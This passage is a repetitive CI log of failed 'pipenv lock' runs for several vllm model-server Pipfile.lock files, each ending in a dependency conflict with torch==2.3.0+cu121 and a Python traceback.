  File 
"/opt/containerbase/tools/pipenv/2026.1.0/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 1045, in venv_resolve_deps
    c = resolve(cmd, st, project=project)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File 
"/opt/containerbase/tools/pipenv/2026.1.0/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 881, in resolve
    raise ResolutionFailure("Failed to lock Pipfile.lock!")
pipenv.exceptions.ResolutionFailure: ERROR: Failed to lock Pipfile.lock!

File name: model-servers/vllm/0.6.4/Pipfile.lock

Command failed: pipenv lock
Locking  dependencies...
CRITICAL:pipenv.patched.pip._internal.resolution.resolvelib.factory:Cannot 
install -r /tmp/pipenv-j5_112tj-requirements/pipenv-fxmx1jso-constraints.txt 
(line 34) and torch==2.3.0+cu121 because these package versions have conflicting
dependencies.
Your dependencies could not be resolved. You likely have a mismatch in your 
sub-dependencies.
You can use $ pipenv run pip install <requirement_name> to bypass this 
mechanism, then run $ pipenv graph to inspect the versions actually installed in
the virtualenv.
Hint: try $ pipenv lock --pre if it is a pre-release dependency.
ERROR: ResolutionImpossible: for help visit 
https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-depende
ncy-conflicts

Traceback (most recent call last):
  File 
"/opt/containerbase/tools/pipenv/2026.1.0/3.11.15/lib/python3.11/site-packages/p
ipenv/routines/lock.py", line 65, in do_lock
    venv_resolve_deps(
  File 
"/opt/containerbase/tools/pipenv/2026.1.0/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 1045, in venv_resolve_deps
    c = resolve(cmd, st, project=project)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File 
"/opt/containerbase/tools/pipenv/2026.1.0/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 881, in resolve
    raise ResolutionFailure("Failed to lock Pipfile.lock!")
pipenv.exceptions.ResolutionFailure: ERROR: Failed to lock Pipfile.lock!

File name: model-servers/vllm/0.6.6/Pipfile.lock

Command failed: pipenv lock
Locking  dependencies...
CRITICAL:pipenv.patched.pip._internal.resolution.resolvelib.factory:Cannot 
install -r /tmp/pipenv-uf28il2k-requirements/pipenv-whve7aha-constraints.txt 
(line 15), -r /tmp/pipenv-uf28il2k-requirements/pipenv-whve7aha-constraints.txt 
(line 27), -r /tmp/pipenv-uf28il2k-requirements/pipenv-whve7aha-constraints.txt 
(line 29) and torch==2.3.0+cu121 because these package versions have conflicting
dependencies.
Your dependencies could not be resolved. You likely have a mismatch in your 
sub-dependencies.
You can use $ pipenv run pip install <requirement_name> to bypass this 
mechanism, then run $ pipenv graph to inspect the versions actually installed in
the virtualenv.
Hint: try $ pipenv lock --pre if it is a pre-release dependency.
ERROR: ResolutionImpossible: for help visit 
https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-depende
ncy-conflicts

Traceback (most recent call last):
  File 
"/opt/containerbase/tools/pipenv/2026.1.0/3.11.15/lib/python3.11/site-packages/p
ipenv/routines/lock.py", line 65, in do_lock
    venv_resolve_deps(
  File 
"/opt/containerbase/tools/pipenv/2026.1.0/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 1045, in venv_resolve_deps
    c = resolve(cmd, st, project=project)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File 
"/opt/containerbase/tools/pipenv/2026.1.0/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 881, in resolve
    raise ResolutionFailure("Failed to lock Pipfile.lock!")
pipenv.exceptions.ResolutionFailure: ERROR: Failed to lock Pipfile.lock!

File name: model-servers/vllm/0.8.4/Pipfile.lock

Command failed: pipenv lock
Locking  dependencies...
CRITICAL:pipenv.patched.pip._internal.resolution.resolvelib.factory:Cannot 
install -r /tmp/pipenv-lou228un-requirements/pipenv-o99uiij7-constraints.txt 
(line 24) and torch==2.3.0+cu121 because these package versions have conflicting
dependencies.
Your dependencies could not be resolved. You likely have a mismatch in your 
sub-dependencies.
You can use $ pipenv run pip install <requirement_name> to bypass this 
mechanism, then run $ pipenv graph to inspect the versions actually installed in
the virtualenv.
Hint: try $ pipenv lock --pre if it is a pre-release dependency.
ERROR: ResolutionImpossible: for help visit 
https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-depende
ncy-conflicts

Traceback (most recent call last):
  File 
"/opt/containerbase/tools/pipenv/2026.1.0/3.11.15/lib/python3.11/site-packages/p
ipenv/routines/lock.py", line 65, in do_lock
    venv_resolve_deps(
  File 
"/opt/containerbase/tools/pipenv/2026.1.0/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 1045, in venv_resolve_deps
    c = resolve(cmd, st, project=project)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File 
"/opt/containerbase/tools/pipenv/2026.1.0/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 881, in resolve
    raise ResolutionFailure("Failed to lock Pipfile.lock!")
pipenv.exceptions.ResolutionFailure: ERROR: Failed to lock Pipfile.lock!